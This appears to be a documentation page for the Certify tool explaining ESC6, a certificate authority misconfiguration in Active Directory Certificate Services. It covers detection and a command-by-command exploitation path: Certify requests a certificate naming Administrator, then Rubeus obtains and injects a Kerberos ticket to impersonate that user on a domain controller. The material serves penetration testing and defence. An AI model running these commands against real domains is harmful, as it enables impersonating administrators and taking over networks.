Skip to main content
ESC6 is a misconfiguration in Active Directory Certificate Services (AD CS), which stems from overly permissive certificate authority settings. Specifically, if the EDITF_ATTRIBUTESUBJECTALTNAME2 setting has been enabled on a CA, any certificate request will allow the requester to submit an arbitrary Subject Alternative Name (SAN) request attribute.
Essentially, this enables the Enrollee Supplies Subject setting from ESC1 on every certificate template published by the CA.

​
Strong Certificate Mapping Considerations

However, with the introduction of Strong Certificate Mapping, ESC6 is no longer enough to perform privilege escalation in a patched environment. This is because:
  • The CA embeds a SID security extension matching the SID of the requesting user
  • The SAN specified with this vulnerability involves a special request attribute rather than allowing the requesting user to specify the subject details directly
  • Since the requesting user has no control over the rest of the subject details, it is unable to supply an arbitrary SID security extension
Despite this, it is still possible to abuse ESC6 if the SID security extension is omitted due to ESC9 or ESC16. This is because the Subject Alternative Name (SAN) extension supports a URL-based format (tag:microsoft.com,2022-09-14:sid:<sid>), which contains a SID of its own, and therefore allows strong certificate mapping in the absence of a SID security extension.

​
Detection

We can search for certificate authorities with these vulnerabilities using the enum-cas --filter-vulnerable command from Certify. For more information about the command and its parameters, please refer to the Command Overview page. 
Certify.exe enum-cas --filter-vulnerable --hide-admins

​
Exploitation

If we can also identify a certificate template that is vulnerable to ESC9 or identify ESC16 on the same certificate authority, we can request any certificate from the CA and include a Subject Alternative Name (SAN) for a target user that we want to impersonate (e.g. Administrator). This can be done using the request command from Certify. The SAN can be in either of the formats:
  • UserPrincipalName (--upn)
  • DnsName (--dns)
  • Rfc822Name (--email)
The security identifier (SID) of the target user must also be supplied with the --sid-url parameter, which is automatically turned into a URL-based SAN string as previously described.
Certify.exe request --ca ca01.corp.local\CORP-CA01-CA --template User --upn Administrator --sid-url S-1-5-21-976219687-1556195986-4104514715-500
When the certificate has been issued, it is printed to the console in a base64-encoded format. The format is supported by Rubeus and can be used to authenticate as the target user with the asktgt command by setting the /certificate: parameter to the output certificate. 
Rubeus.exe asktgt /user:Administrator /certificate:MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqh... /ptt
Since the /ptt parameter was supplied to Rubeus when requesting the TGT, the ticket has been injected into the Kerberos ticket list, and we should be able to authenticate as the target user and access systems that the target user has access to. 
Invoke-Command -ComputerName DC01 -ScriptBlock {whoami}